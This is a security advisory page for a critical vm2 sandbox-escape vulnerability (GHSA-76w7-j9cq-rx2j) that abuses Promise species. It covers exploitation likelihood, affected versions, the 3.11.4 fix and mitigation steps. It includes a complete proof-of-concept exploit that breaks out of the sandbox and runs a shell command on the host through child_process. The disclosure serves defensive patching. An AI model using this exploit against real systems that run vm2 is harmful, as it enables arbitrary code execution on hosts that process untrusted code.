GHSA-76w7-j9cq-rx2j is a critical-severity (CVSS 10) CWE-913 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2 is Vulnerable to Sandbox Breakout Through Promise Species
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-76w7-j9cq-rx2j.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-76w7-j9cq-rx2j by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
vm2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
PoC
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.4npm install vm2@3.11.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-76w7-j9cq-rx2j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Exploitation requires an attacker to supply untrusted malicious code to the vm2 sandbox, which is easily achieved since the component's main purpose is to execute untrusted code. Escaping the sandbox completely bypasses the intended security boundaries, leading directly to arbitrary code execution on the host system…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-76w7-j9cq-rx2j (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1783448184 | RHSA-2026:36754 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1782761244 | RHSA-2026:33574 |
Frequently Asked Questions
Is GHSA-76w7-j9cq-rx2j in your dependencies?
Find it across npm, including transitive dependencies.